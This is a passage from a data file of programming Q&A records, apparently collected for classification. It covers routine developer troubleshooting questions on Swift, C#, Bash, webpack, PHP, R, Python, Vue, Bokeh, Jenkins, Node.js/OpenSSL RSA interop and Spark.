happens, for example when we scale the top cell. This forces a layout update on the flowlayout.\n override func shouldInvalidateLayout(forBoundsChange newBounds: CGRect) -&gt; Bool {\n return true\n }\n\n // Cell paging\n override func targetContentOffset(forProposedContentOffset proposedContentOffset: CGPoint, withScrollingVelocity velocity: CGPoint) -&gt; CGPoint {\n\n // If the property `isPagingEnabled` is set to false, we don't enable paging and thus return the current contentoffset.\n guard isPagingEnabled else {\n let latestOffset = super.targetContentOffset(forProposedContentOffset: proposedContentOffset, withScrollingVelocity: velocity)\n return latestOffset\n }\n\n // Page height used for estimating and calculating paging.\n let pageHeight = cellHeight + self.minimumLineSpacing\n\n // Make an estimation of the current page position.\n let approximatePage = self.collectionView!.contentOffset.y/pageHeight\n\n // Determine the current page based on velocity.\n let currentPage = (velocity.y &lt; 0.0) ? floor(approximatePage) : ceil(approximatePage)\n\n // Create custom flickVelocity.\n let flickVelocity = velocity.y * 0.3\n\n // Check how many pages the user flicked, if &lt;= 1 then flickedPages should return 0.\n let flickedPages = (abs(round(flickVelocity)) &lt;= 1) ? 0 : round(flickVelocity)\n\n // Calculate newVerticalOffset.\n let newVerticalOffset = ((currentPage + flickedPages) * pageHeight) - self.collectionView!.contentInset.top\n\n return CGPoint(x: proposedContentOffset.x, y: newVerticalOffset)\n }\n\n override func finalLayoutAttributesForDisappearingItem(at itemIndexPath: IndexPath) -&gt; UICollectionViewLayoutAttributes? {\n\n // make sure the zIndex of the next card is higher than the one we're swiping away.\n let nextIndexPath = IndexPath(row: itemIndexPath.row + 1, section: itemIndexPath.section)\n let nextAttr = self.layoutAttributesForItem(at: nextIndexPath)\n nextAttr?.zIndex = nextIndexPath.row\n\n // attributes for swiping card away\n let attr = self.layoutAttributesForItem(at: itemIndexPath)\n\n return attr\n }\n}\n</code></pre>\n"},{"Classification":"","Title":"Automapper projections with Includable IQuerable","Body":"<p>I am trying to use AutoMapper to project a database entity with include items to another domain entity</p>\n\n<pre><code> IQueryable&lt;DBTypeEntity&gt; allItems = _dbContext.DBType.Include(e =&gt; e.A)\n .Include(e =&gt; e.B)\n .ThenInclude(e =&gt; e.C)\n .Include(e =&gt; e.D)\n .ThenInclude(ac =&gt; ac.E);\n</code></pre>\n\n<p>And using projections</p>\n\n<pre><code> var result = allItems.ProjectTo&lt;DBTypeDomain&gt;(_typeMapper.ConfigurationProvider);\n</code></pre>\n\n<p>Here are my mappings:</p>\n\n<pre><code> CreateMap&lt;DBTypeEntity, DBTypeDomain&gt;()\n .ForMember(e =&gt; e.A, opt =&gt; opt.Ignore())\n .ForMember(e =&gt; e.B, opt =&gt; opt.MapFrom(e =&gt; e.B))\n .ForMember(e =&gt; e.C, opt =&gt; opt.MapFrom(e =&gt; e.C))\n .ForMember(e =&gt; e.E, opt =&gt; opt.MapFrom(e =&gt; e.E))\n .ForMember(e =&gt; e.F, opt =&gt; opt.ResolveUsing&lt;FResolver, ICollection&lt;AssociatedFEntity&gt;&gt;(e =&gt; e.AssociatedFs))\n .ForMember(e =&gt; e.G, opt =&gt; opt.MapFrom(e =&gt; e.G));\n</code></pre>\n\n<p>Other types are straight property to property mappings with nothing special.\nI have all the required profile mappings setup for the type mapper, however, I am getting a cryptic exception (Can't resolve this to Queryable Expression).\nI am using EF Core 2.0 and Automapper 6.2.2</p>\n\n<p>Any help please?</p>\n"},{"Classification":"","Title":"Bash variable initialization","Body":"<p>Can variables initialized within if statement (or any other type of loop or function) conditions be used later in the script? The following code appears to be working... but I would like verification as I'm not use to this type of outcome. </p>\n\n<pre><code>if ( &lt;true condition&gt; ); then\n VAR1=1\nfi\n\necho $VAR1\n</code></pre>\n\n<p>Real output: 1</p>\n\n<p>Expected output: undefined (as variable has not been initialized </p>\n"},{"Classification":"","Title":"App worked locally but not accessible externally with webpack server","Body":"<p>Hi I've been struggling for a while to figure out how to make an app on an AWS Windows server 2016 instance publicly accessible. My Ec2 traffic has been opened for inbound 8080. netstat shows 8080 is listening. The app can run on localhost on the EC2 by running command <code>\"npm run dev\"</code> but cannot be accessed publicly. </p>\n\n<p>webpack.config.js:</p>\n\n<pre><code> const path = require('path');\n const CopyWebpackPlugin = require('copy-webpack-plugin');\n module.exports = {\n entry: './app/javascripts/app.js',\n output: {\n path: path.resolve(__dirname, 'build'),\n filename: 'app.js'\n },\n plugins: [\n // Copy our app's index.html to the build folder.\n new CopyWebpackPlugin([\n { from: './app/index.html', to: \"index.html\" },\n { from: './app/javascripts/browser-solc.min.js', to: \"browser-solc.min.js\" }\n ])\n ],\n ...\n</code></pre>\n\n<p>In package.json:</p>\n\n<pre><code> \"scripts\": {\n \"lint\": \"eslint ./\",\n \"build\": \"webpack\",\n \"dev\": \"webpack-dev-server\",\n ...\n</code></pre>\n\n<p>I tried to modify <code>\"dev\": \"webpack-dev-server\"</code> to be <code>\"dev\": \"webpack-dev-server --inline --port 8080 --hot --host ec2_public_DNS_address\"</code>, the console said it's run on the DNS with port 8080 open but I still cannot access it publicly.</p>\n\n<p>Please help!</p>\n"},{"Classification":"","Title":"Can you lazy load a shared module to provide services in angular 5?","Body":"<p>I have a bunch of services which I'd like to split out to a lazy loaded module to keep the app bootstrap as fast as possible. I see a lot of examples on how to lazy load a feature module but not a solution for services.</p>\n\n<p>I am using angular-cli.</p>\n"},{"Classification":"","Title":"Strict Standards: Only variables should be passed by reference in... - error line","Body":"<p>I have error like this:</p>\n\n<blockquote>\n <p>Strict Standards: Only variables should be passed by reference in /file.php in line 100</p>\n</blockquote>\n\n<p>In file.php line look like this:</p>\n\n<pre><code>foreach($filelist as $value =&gt; $file) {\n // ABOVE LINE IS LINE 100\n if(in_array(end(explode(\".\", $file)), $extensions)&amp;&amp;is_file($dir.$file)) { $c++; }\n if(IsSet($_GET['start'])) {\n $nav = $_GET['start'];\n } else {\n $nav = \"0\";\n }\n if(($c &gt; $nav) &amp;&amp; ($c &lt; $nav+($pagerows+1))) {\n $link = $dir . $file;\n $hlink = $http . $file;\n $ext = explode(\".\", $file);\n if(in_array(end($ext), $extensions)&amp;&amp;is_file($link)) {\n $p++;\n if(file_exists($link)) {\n list($width, $height, $type, $attr) = getimagesize($link);\n if($height &gt; SMALL_IMAGE_HEIGHT) {\n $imageheight = SMALL_IMAGE_HEIGHT;\n } else {\n $imageheight = $height;\n }\n</code></pre>\n\n<p>Could you help me? I found topics like this but noon have code like my code.</p>\n"},{"Classification":"","Title":"How to traverse arrays in SIM programs?","Body":"<p>the assignment is to translate this C code into a SIM program that counts the number of zeros inside an array. My SIM code is wrong because I do not know how to traverse the array and I cannot find anything useful online. Does anyone know how to do it?</p>\n\n<p>C code that needs to be translated:</p>\n\n<pre><code>const int N=10;\nint ia[] = { 0,1,3,443,-9,0,0,34,-128,0 };\nint main(){ \n int nz=0;\n int i;\n for (i=0; i&lt;N; i++) {\n if (ia[i] == 0) nz++;\n } \n printf(\"%d\\n\",nz);\n}\n</code></pre>\n\n<p>This is current SIM program:</p>\n\n<ul>\n<li>0xb000</li>\n<li>0x2016</li>\n<li>0xb001</li>\n<li>0x9015</li>\n<li>0x4000</li>\n<li>0x6013</li>\n<li>0xb017</li>\n<li>0x3000</li>\n<li>0xe000</li>\n<li>0xc000</li>\n<li>0x7010</li>\n<li>0x1016</li>\n<li>0x8021</li>\n<li>0x2016</li>\n<li>0xa000</li>\n<li>0x7005</li>\n<li>0x500b</li>\n<li>0xa000</li>\n<li>0x7005</li>\n<li>0x0000 #halt</li>\n<li>0x0000</li>\n<li>0x000a #number elements of the array </li>\n<li>0x0000 #store number zeroes found (it does not print 4 zeroes found)</li>\n<li>0x0000 #array[0] = 0</li>\n<li>0x0001 #array[1] = 1</li>\n<li>0x0003 #array[2] = 3</li>\n<li>0x01bb #array[3] = 443</li>\n<li>0xfff7 #array[4] = -9</li>\n<li>0x0000 #array[5] = 0</li>\n<li>0x0000 #array[6] = 0</li>\n<li>0x0022 #array[7] = 34</li>\n<li>0xff80 #array[8] = -128</li>\n<li>0x0000 #array[9] = 0</li>\n<li>0x0001 #used to increment the counter when zero is identified</li>\n</ul>\n"},{"Classification":"","Title":"change textarea aws polly in vba to read new text fails","Body":"<p>I'm experimenting with AWS Polly in VBA and I'd like to change the default text to be read from \"Hi! My name is Salli. I will read any text you type here.\" to \"This is a test message.\" and then have Salli read it. I can write the code to change the text but Salli always reads the same default text. The number of characters remaining counter under the textarea box is also not updating.</p>\n\n<p>Here's my code.</p>\n\n<pre><code>Dim objIE As Object\nSet objIE = CreateObject(\"InternetExplorer.Application\")\n'navigate to aws polly site\n With objIE\n .Top = 0\n .Left = 0\n .Width = 800\n .Height = 600\n .Visible = True\nEnd With\nobjIE.navigate (\"https://us-east-2.console.aws.amazon.com/polly/home/SynthesizeSpeech\")\n Do\n DoEvents\n If Err.Number &lt;&gt; 0 Then\n objIE.Quit\n Set objIE = Nothing\n GoTo the_start:\n End If\n\nLoop Until objIE.readyState = 4\n\nDim polly As HTMLDocument\nDim narrative As HTMLLIElement\nDim btnReadText As HTMLButtonElement\nSet polly = objIE.document\nSet narrative = polly.getElementById(\"awsui-textarea-0\")\nSet btnReadText = polly.getElementsByClassName(\"parrot-player-button full-width-button awsui-button awsui-button-size-normal awsui-button-variant-primary awsui-hover-child-icons\")(0)\nnarrative.Focus\nnarrative.innerHTML = \"This is a new test message.\"\nMsgBox narrative.innerHTML\nbtnReadText.Click\n</code></pre>\n\n<p>This snippet executes without errors but Salli always says the same thing.</p>\n"},{"Classification":"","Title":"R Dataframe issue preventing normality test","Body":"<p>I've read my .CSV and then converted the file to a data frame using several methods including: </p>\n\n<pre><code>df&lt;-read.csv('cdSH2015Fall.csv', dec = \".\", na.strings = c(\"na\"), header=TRUE, \nrow.names=NULL, stringsAsFactors=F)\n\n\ndf&lt;-as.data.frame(lapply(df, unlist)) # converted .csv to a a data.frame\n\nstr(df) # provides the structure of df. \n'data.frame': 72 obs. of 16 variables:\n $ trtGroup : Factor w/ 68 levels \"AANN\",\"AAPN\",..: 5 7 14 18 20 23 \n27 33 37 48 ...\n $ cd : Factor w/ 2 levels \"0\",\"1\": 1 1 1 1 1 1 1 1 1 1 ...\n $ PreviousExp : Factor w/ 2 levels \"Empty\",\"Enriched\": 2 1 2 2 2 2 1 \n1 1 1 ...\n $ treatment : Factor w/ 2 levels \"NN\",\"PN\": 1 1 1 1 1 1 1 1 1 1 ...\n $ total.Area.DarkBlue.: num 827 1037 663 389 983 ...\n $ numberOfGroups : int 1 1 1 1 1 1 1 1 1 1 ...\n $ totalGroupArea : num 15.72 2.26 9.45 11.57 9.73 ...\n $ averageGrpArea : num 15.72 2.26 9.45 11.57 9.73 ...\n $ proximityToPlants : num 5.65 16.05 2.58 9.65 4.74 ...\n $ latFeed : num 2 0.5 0 1 0 0 1 0.5 2 1 ...\n $ latBalloon : num 6 2 2 NA 0 0.1 3 0.5 1 0.7 ...\n $ countChases : int 5 8 16 4 16 21 18 11 14 28 ...\n $ chases : int 95 87 67 923 636 96 1210 571 775 816 ...\n $ grpDiameter : num 16.8 23.3 19.5 11.2 29.9 ...\n $ grpActiv : num 4908 5164 4197 5263 5377 ...\n $ NND : num 0 11.88 8.98 3.6 9.8 ...\n</code></pre>\n\n<p>I then run my model two ways:</p>\n\n<p>First option.</p>\n\n<pre><code> fit = t.test(df$proximityToPlants[which (df$cd==1 &amp; \n df$treatment == 'PN')], df$proximityToPlants[which \n (df$cd==0 &amp; df$treatment == 'PN')]\n )\n</code></pre>\n\n<p>Second option trying to ensure I have a proper data frame.</p>\n\n<ul>\n<li><p>Subset the data and then create a matrix. </p>\n\n<pre><code> cdProximityToPlantsPN&lt;-cdSH2015Fall$proximityToPlants[which (cdSH2015Fall$cd==1 &amp; cdSH2015Fall$treatment == 'PN')]\nH2ProximityToPlantsPN&lt;-cdSH2015Fall$proximityToPlants[which (cdSH2015Fall$cd==0 &amp; cdSH2015Fall$treatment == 'PN')]\n\ncdProximityToPlantsNN&lt;-cdSH2015Fall$proximityToPlants[which (cdSH2015Fall$cd==1 &amp; cdSH2015Fall$treatment == 'NN')]\nH2ProximityToPlantsNN&lt;-cdSH2015Fall$proximityToPlants[which (cdSH2015Fall$cd==0 &amp; cdSH2015Fall$treatment == 'NN')]\n</code></pre></li>\n<li><p>Creating a matrix </p>\n\n<pre><code>df&lt;- \n cbind(cdProximityToPlantsPN,H2ProximityToPlantsPN,cdProximityToPlantsNN, \nH2ProximityToPlantsNN)\nmat &lt;- sapply(df,unlist)\nfit=t.test(mat[,1],mat[,2], paired = F, var.equal = T)\n</code></pre></li>\n</ul>\n\n<p>Yet, I still get errors when assessing outliers using the following: </p>\n\n<pre><code>outlierTest(fit) # Bonferonni p-value for most extreme obs\nError in UseMethod(\"outlierTest\") : \n no applicable method for 'outlierTest' applied to an object of class \n \"htest\"\nqqPlot(fit, main=\"QQ Plot\") #qq plot for studentized resid \nError in order(x[good]) : unimplemented type 'list' in 'orderVector1'\nleveragePlots(fit) # leverage plots\nError in formula.default(model) : invalid formula\n</code></pre>\n\n<p>I know the issue must be with my data structure. Any ideas on how to fix it?</p>\n"},{"Classification":"","Title":"How to pass parameters to a custom JSONEncoder default() function in Python","Body":"<p>In my Flask application, I use a custom <code>JSONEncoder</code> that serializes <code>decimal.Decimal</code> objects rounded to two places.</p>\n\n<pre><code>class MyJsonEncoder(JSONEncoder):\n\n def default(self, obj, prec=2):\n\n if isinstance(obj, Decimal):\n return str(obj.quantize(Decimal('.'+'0'*(prec-1)+'2')))\n else:\n return JSONEncoder.default(self, obj)\n</code></pre>\n\n<p>The <code>prec</code> parameter lets me change the precision of the rounding. It defaults to two places. I want to occasionally call <code>json.dumps</code> and pass it a <code>prec</code> parameter so I can force the <code>decimal.Decimal</code> objects to round to 4 places instead.</p>\n\n<pre><code>json_string = json.dumps(some_data, prec=4)\n</code></pre>\n\n<p>But when I do this, the JSON module throws:</p>\n\n<pre><code>TypeError: __init__() got an unexpected keyword argument 'prec'\n</code></pre>\n\n<p>Is it possible to do what I'm trying here? I don't understand why the JSON module is doing anything with the <code>**kwargs</code>. Can I force it to ignore them?</p>\n"},{"Classification":"","Title":"Display image from API in Vue","Body":"<p>I am using Strapi as an API driven CMS. I uploaded an image on Strapi and am pulling it on my Vue app. Strapi is using Mongo. The API is returning this for the image:</p>\n\n<pre><code>{\n \"related\":[ \"5sd8c393cc22cb0slf292c49\"],\n \"_id\":\"5ae2c295cc84cb0daa234d8e\",\n \"name\":\"imgName.jpg\",\n \"hash\":\"x34f780e5c678a7398d69b35e74f0c33\",\n \"ext\":\".jpg\",\n \"mime\":\"image/jpeg\",\n \"size\":98.68,\n \"url\":\"/uploads/b96g789e5c094a7398d84d94j74f0c96.jpg\",\n \"provider\":\"local\",\n \"createdAt\":\"2018-04-27T06:47:32.351Z\",\n \"updatedAt\":\"2018-04-27T06:47:32.356Z\",\n \"__v\":0,\n \"id\":\"5ae2c395bg54cb0ser292c4a\"\n}\n</code></pre>\n\n<p>How can I display this image on Vue?</p>\n"},{"Classification":"","Title":"Bokeh Legend Object- passing assigned color to legend","Body":"<p>I'm trying to create a fairly complex bokeh circle plot that features several complex interactions (axis changes &amp; year slider &amp; others). I've seemed to gotten it working mostly, and without the use of ColumnDataSource (because the template I borrowed didn't use it). Now I need to create a custom legend (or HoverTool(??)).</p>\n\n<p>I've managed to create a custom legend, but I do not know how to pass the matplotlib color it was assigned into the legend. So currently, it is just a legend showing all the legend items but no color identifiers. How can I pass the right colors into the legend?</p>\n\n<p>Here is the relevant chunk of my code:</p>\n\n<p>dataframe:</p>\n\n<pre><code>FULLNAME | ES | TX | YEAR\nJim 3 12 2008\n...\nTim 33 8 2009\n\n\nimport matplotlib\nimport random\nfrom datetime import date\n\nuser_list= list(set((df[\"FULLNAME\"])))\n\ncolordict=dict(matplotlib.colors.cnames.items())\ncolordict=list(colordict.values())\nrandom_colors=random.sample(colordict,len(user_list))\n\ndef yr_slider():\n current=slider.value\n ys=df[y.value][df[\"YEAR\"]==current].values\n p = figure(plot_width=930, plot_height=325, background_fill_color='snow', x_range=(2016,2019))\n p.circle(x=df[\"YEAR\"][df[\"YEAR\"]==current], y=ys, size= 20,\n color=random_colors)\n legend=Legend(items=[(\"Jim\",random_colors[1]),\n (\"Tim\",[])\n ]) ###THIS AINT WORKIN RIGHT###\n p.add_layout(legend,'right')\n print(ys)\n return p\n\ndef update(attr, old, new):\n layout2.children[1]=yr_slider()\nslider=Slider(start=2017, end=date.today().year, step=1, value=date.today().year, title=\"Year\")\nslider.on_change('value', update)\n\ny=Select(title='X-Axis', value='ES',options=['TX','ES'])\ny.on_change('value',update)\n\nctrls=widgetbox([y,slider], width=200)\nlayout2=row(ctrls,yr_slider())\n\ncurdoc().add_root(layout2)\n</code></pre>\n\n<p>Thanks!</p>\n"},{"Classification":"","Title":"Are datastore indexes same across multiple namespaces?","Body":"<p>I'm working on developing a multi-tenant SaaS system and I'm storing all the data in Datastore. I have a separate namespace for every client, but the same set of \"kinds\" in all namespaces. </p>\n\n<p>This is my question: If I build custom index for one entity kind, will this index be served across all namespaces? or should I specify the namespace also somewhere?</p>\n\n<p>This is one of my custom indices:</p>\n\n<pre><code>- kind: loginTrack \n ancestor: no\n properties:\n - name: logDate\n - name: username\n - name: timeStamp\n</code></pre>\n\n<p>I deployed this as a custom index in Datastore, but I'm not sure if it works for all namespaces.</p>\n\n<p>How does Datastore handle developer-supplied-index?</p>\n"},{"Classification":"","Title":"Connecting to Cross Domain Dynamics CRM Web API (Unauthorized)","Body":"<p>I'm having a problem connecting to the Dynamics CRM Web API.</p>\n\n<p>I'm trying to connect to the Web API from an external .NET Core page, using javascript but I keep getting the <code>401 Unauthorized error</code>. It seems a cross domain problem. The error is:</p>\n\n<blockquote>\n <p>No 'Access-Control-Allow-Origin' header is present on the requested resource</p>\n</blockquote>\n\n<p>Basically I'm at the domain <code>domain1.com</code>, and I need to run a web api call at <code>domain2.com</code> using javascript.</p>\n\n<p>So how can I achieve that? I do not want my user to be prompted to authenticate, but I need to manage that by the code.</p>\n\n<p>Also, I'm not using Azure to authenticate but I'm using ADFS.</p>\n\n<p>This is my code:</p>\n\n<pre><code>$.ajax({\n type: \"GET\",\n contentType: \"application/json; charset=utf-8\",\n datatype: \"json\",\n url: \"https://crm.anuv.com.br/api/data/v8.2/EntityDefinitions(LogicalName='account')\",\n beforeSend: function (XMLHttpRequest) {\n XMLHttpRequest.setRequestHeader(\"OData-MaxVersion\", \"4.0\");\n XMLHttpRequest.setRequestHeader(\"OData-Version\", \"4.0\");\n XMLHttpRequest.setRequestHeader(\"Accept\", \"application/json\");\n XMLHttpRequest.setRequestHeader(\"Prefer\", \"odata.include-annotations=\\\"*\\\"\");\n },\n async: false,\n success: function (data, textStatus, xhr) {\n var results = data;\n var jsonResult = JSON.parse(data);\n alert(jsonResult.Attributes.length);\n },\n error: function (xhr, textStatus, errorThrown) {\n alert(errorThrown);\n }\n});\n</code></pre>\n"},{"Classification":"","Title":"Unity3D Machine Learning Setup for ML-Agents on Windows 10 with Tensorflow","Body":"<p>I have been trying to get the <a href=\"https://github.com/Unity-Technologies/ml-agents/blob/master/docs/Getting-Started-with-Balance-Ball.md\" rel=\"nofollow noreferrer\">Machine Learning Setup for ML-Agents</a> for Unity 3D up and running for the past several hours, with no luck.</p>\n\n<p>First I followed <a href=\"https://www.youtube.com/watch?v=qxicgknzUG8&amp;index=1&amp;list=PLB5_EOMkLx_Ub1A4iHoDUx7vg37sVoL-E\" rel=\"nofollow noreferrer\">this</a> video, which goes over the initial installations which are also outlined in this <a href=\"https://github.com/Unity-Technologies/ml-agents/blob/master/docs/Installation.md\" rel=\"nofollow noreferrer\">GitHub</a> repository.</p>\n\n<p>Next, I moved on to part 2 of the video series (<a href=\"https://www.youtube.com/watch?v=-YWts_GlHCY&amp;index=2&amp;list=PLB5_EOMkLx_Ub1A4iHoDUx7vg37sVoL-E\" rel=\"nofollow noreferrer\">here</a>), however problems started at minute 4:48, where I realized that the tutorial was using v 0.2, while I had v 0.3.</p>\n\n<p>V 0.3 has done away with the <code>PPO.ipynb</code> file shown in the video. Everything is done through <code>learn.py</code> file.</p>\n\n<p>I then decided to try and follow the official Unity installation guide:</p>\n\n<p><a href=\"https://github.com/Unity-Technologies/ml-agents/blob/master/docs/Getting-Started-with-Balance-Ball.md\" rel=\"nofollow noreferrer\">https://github.com/Unity-Technologies/ml-agents/blob/master/docs/Getting-Started-with-Balance-Ball.md</a></p>\n\n<p>and got to <strong>Training with PPO</strong> section which I have not managed to resolve.</p>\n\n<p><strong>the problem arises here:</strong> The documentation states:</p>\n\n<blockquote>\n <p>To summarize, go to your command line, enter the ml-agents directory and type:</p>\n\n<pre><code>python3 python/learn.py &lt;env_file_path&gt; --run-id=&lt;run-identifier&gt; --train \n</code></pre>\n \n <p>Note: If you're using Anaconda, don't forget to activate the ml-agents\n environment first.</p>\n</blockquote>\n\n<p>I tried to run:</p>\n\n<blockquote>\n <p>python learn.py ball --run-id=ballBalance --train</p>\n</blockquote>\n\n<p>but I am greeted with a number of warnings as follows:</p>\n\n<blockquote>\n <p>File \"learn.py\", line 9, in \n from unitytrainers.trainer_controller import TrainerController\n File \"C:\\Users****\\Downloads\\ml-agents-master\\python\\unitytrainers__init__.py\", line 1, in \n from .buffer import *</p>\n</blockquote>\n\n<p>I have been trying to solve this error message for quite some time now. It seems that the file <code>learn.py</code> is actually being found, but somehow not being interpreted correctly?</p>\n\n<p>First 9 lines of <code>learn.py</code>:</p>\n\n<pre><code># # Unity ML Agents\n# ## ML-Agent Learning\n\nimport logging\n\nimport os\nfrom docopt import docopt\n\nfrom unitytrainers.trainer_controller import TrainerController\n</code></pre>\n\n<p>Any guidance on how I can solve this problem would be appreciated. Would gladly give more information where needed. The steps mentioned above should replicate the problem I am experiencing.</p>\n"},{"Classification":"","Title":"Jenkins - Master Slave set up questions","Body":"<p>I followed tutorial to get Jenkins set up on Windows. </p>\n\n<p>What i have is:</p>\n\n<blockquote>\n <p>Jenkins running with recommend plugins installed</p>\n \n <p>Jenkins URL changed to http:// my ipv4:8080/</p>\n \n <p>A project with a simple command [echo hi]</p>\n</blockquote>\n\n<p>For nodes i currently have just the Master node which is tied to my main PC</p>\n\n<p>My goal is have one computer send a command to all the slave PC's so they run a python script i created. </p>\n\n<p>I create a windows VM and connected to the Jenkins server. I logged in with the admin account and created a new node. </p>\n\n<p><a href=\"https://i.stack.imgur.com/GZNNx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GZNNx.png\" alt=\"enter image description here\"></a></p>\n\n<p>I cant find anything useful to help me figure out what to put in launch command. When i launch my node on the VM without the launch command specified, it fails to launch.</p>\n\n<p>Is the batch script i wrote in the project, what's sent to all the slave machines or do I have this all wrong?</p>\n\n<p>Thank you!</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>I got it working thanks to the answer posted here. I wrote up a doc on how i got Jenkins working from installation to deployment. There are other resources out there but i hope this will help someone.</p>\n\n<p><a href=\"https://docs.google.com/document/d/1g1gRJeUeEWoaZy5381i2a4vNEEhMDRTrt5HssrZgOdY/edit?usp=sharing\" rel=\"nofollow noreferrer\">Jenkins Master/Agent Setup</a></p>\n"},{"Classification":"","Title":"Pass parametr to directEvents","Body":"<p>How pass value <code>colum ID (.DataIndex(\"ID\"))</code> to Action in Controller? </p>\n\n<pre><code> @(Html.X().GridPanel()\n .Title(\"ComponentColumn Pin Editor\")\n .Width(700)\n .Height(300)\n .Store(Html.X().Store()\n .Model(Html.X().Model()\n .Fields(\n new ModelField(\"ID\", ModelFieldType.Int),\n\n )\n )\n .DataSource(Model)\n ) \n .ColumnModel(\n Html.X().ComponentColumn()\n .Editor(true)\n .OverOnly(true)\n .Pin(true)\n .DataIndex(\"ID\")\n .Flex(1)\n .Text(\"ID\")\n .Component(Html.X().NumberField())\n Html.X().GridCommand()\n .CommandName(\"Edit\")\n .Icon(Icon.NoteEdit)\n .ToolTip(t =&gt;\n {\n t.Text = \"Modifica della ripartizione ferie per giorno\";\n })\n )\n .ID(\"ID\")\n .DirectEvents(\n\n directEvents =&gt;\n {\n // directEvents.Command.Url = \"/Details/ID\";\n directEvents.Command.Action = \"Details\";\n directEvents.Command.ExtraParams.Add(new Parameter()\n {\n Name = \"ID\",\n Value=\"ID\",\n // Value = \"App.GridPanelDistributionReports.getSelectionSubmit().getSelectionModelField().getValue()\",\n Mode = ParameterMode.Raw\n });\n })\n\n )\n</code></pre>\n\n<p>I need send value from gridTable to Action function. </p>\n\n<p>In Example I saw this:</p>\n\n<pre><code> Value = \"App.GeneratedDistributionId.getValue()\",\n</code></pre>\n\n<p>but I not undestand, how use it. \nWhat is \"GeneratedDistributionId\"?</p>\n"},{"Classification":"","Title":"Node.js crypto seems incompatible with Openssl c++","Body":"<p>I've been banging my head hear for a while. I have an RSA 2-way handshake between a c++ client and node.js server using the crypto module. Node.js is version 8.</p>\n\n<p>Anyway on the c++ end we have code that does the following:</p>\n\n<pre><code>// c++_cipher -&gt; node.js\nRSA_public_encrypt(\n payloaddump.length(),\n (const unsigned char*)payloaddump.c_str(),\n (unsigned char *)cipher,\n clusterpub,\n RSA_PKCS1_OAEP_PADDING\n );\n</code></pre>\n\n<p>And node will correctly decrypt it on it's side with it's private key..</p>\n\n<pre><code>// node.js &lt;- c++_cipher\nreturn crypto.privateDecrypt(pem, Buffer.from(payload, 'base64')).toString()\n</code></pre>\n\n<p>However when I load the c++ public cert for the client on the node.js end of things and encrypt some payload...</p>\n\n<pre><code>// Node.js -&gt; c++\nreturn crypto.publicEncrypt(cpp_pub, Buffer.from(data), crypto.constants.RSA_PKCS1_OAEP_PADDING)\n</code></pre>\n\n<p>and decrypt on c++ side as:</p>\n\n<pre><code>// c++ &lt;- node.js cipher\nint rsapemsize = RSA_size(mypem);\nRSA_private_decrypt(\n rsapemsize,\n node_cipher,\n plain,\n mypem,\n RSA_PKCS1_OAEP_PADDING\n );\n</code></pre>\n\n<p>I get the following rsa error:</p>\n\n<pre><code>error:04065072:rsa routines:rsa_ossl_private_decrypt:padding check failed\n</code></pre>\n\n<p>I don't understand why node.js would be able to decrypt but c++ can not. I've checked my pub, pem key pairs a million times and they are correct. I also want to state that node.js crypto looks like it directly binds to openssl c++ libs, so it should be using the same library? It also looks like the implement the same hashing + mgf1 scheme... however node uses EVP methods... not RSA_public_encrypt though it shouldn't matter. Not sure if I can change that on Node or openssl side. Am I missing something?</p>\n"},{"Classification":"","Title":"broadcast spark word2vec model to all workers","Body":"<p>I have one problem when using spark mllib word2vec model. After I fit the data and get trained Word2VecModel instance, it does not allow me to broadcast to all workers and call findSynonymsArray function. I am wondering is there any way I can apply findSynonymsArray to a column of dataframe that is distributed on workers?</p>\n\n<pre><code>val word2Vec = new Word2Vec()\nval seq2VecModel = word2Vec.fit(SequenceDF, word2Vec.inputCol -&gt; \"sequence\", word2Vec.outputCol -&gt; (\"sequence\" + \"_word2vec\"))\nval model = spark.sparkContext.broadcast(seq2VecModel)\nval findNeighborUdf = udf((v: Vector, numNeighbors: Int) =&gt; {\n model.value.findSynonymsArray(v, numNeighbors)\n})\nval seqWithRecomendationsDF = seqWithEmbeddingDF.withColumn(\"top_synonyms\", findNeighborUdf($\"sequence_word2Vec\", lit(10)))\nseqWithRecomendationsDF.show(10)\n</code></pre>\n\n<p>this code give me</p>\n\n<pre><code>org.apache.spark.SparkException: Task not serializable\n</code></pre>\n"},{"Classification":"","Title":"I am getting information from an API but i am not able to use it","Body":"<p>I want to start a node js application through my PHP file. \nAfter that, I want to save the outcome in a variable like $result</p>\n\n<p>The data looks like that:</p>\n\n<pre><code>[{ id: 'ID', displayName: 'DisplayedName' },\n{ id: 'ID', displayName: 'DisplayedName' },\n ...]\n</code></pre>\n\n<p>and I don't know how to use this.</p>\n\n<p>My Questions:</p>\n\n<ol>\n<li>Is there a way to convert this into a JSON file, if so how?</li>\n<li>Is there a way to use the data(extract information out of it), if so how?</li>\n</ol>\n\n<h1>Edit: added the function</h1>\n\n<p>this is one of the functions</p>\n\n<pre><code>static get Sth1() { return \"sth1\" }\nstatic get Sth2() { return \"sth2\" }\nstatic get Sth3() { return \"sth3\" } \n\ngetMeSth(platform,type) {\n return new Promise((resolve, reject) =&gt; {\n if (!(platform == \"pc\" || platform == \"ps4\" || platform == \"xb1\")) {\n reject(\"Please precise a good platform: ps4/xb1/pc\")\n }\n\n if(!(type == this.constructor.Sth1 || type == this.constructor.Sth2 || type == this.constructor.Sth3)) {\n reject(\"Please precise a good type test.Sth1/test.Sth2/test.Sth3\")\n }\n\n request({\n url: EndPoint.leaderBoardScore(platform,type),\n headers: {\n Authorization: \"author \" + this.access_token\n },\n method: \"POST\",\n json: true\n }).then(leaderboard =&gt; {\n leaderboard = leaderboard.entries\n\n leaderboard.forEach(i =&gt; {\n i.accountId = i.accountId.replace(/-/g,'')\n })\n\n request({\n url: EndPoint.displayNameFromIds(leaderboard.map(i =&gt; i.accountId)),\n headers: {\n Authorization: \"author \" + this.access_token\n },\n method: \"GET\",\n json: true\n }).then(displayNames =&gt; {\n leaderboard.forEach(i =&gt; {\n i.displayName = displayNames.find(ii =&gt; ii.id === i.accountId).displayName\n })\n\n resolve(JSON.stringify(leaderboard))\n })\n .catch(err =&gt; {\n reject(err)\n })\n\n })\n .catch(err =&gt; {\n reject(err)\n })\n })\n}\n</code></pre>\n\n<h1>Edit: added the outcome</h1>\n\n<p>all right now that I built in JSON.stringify() in to the application i get this 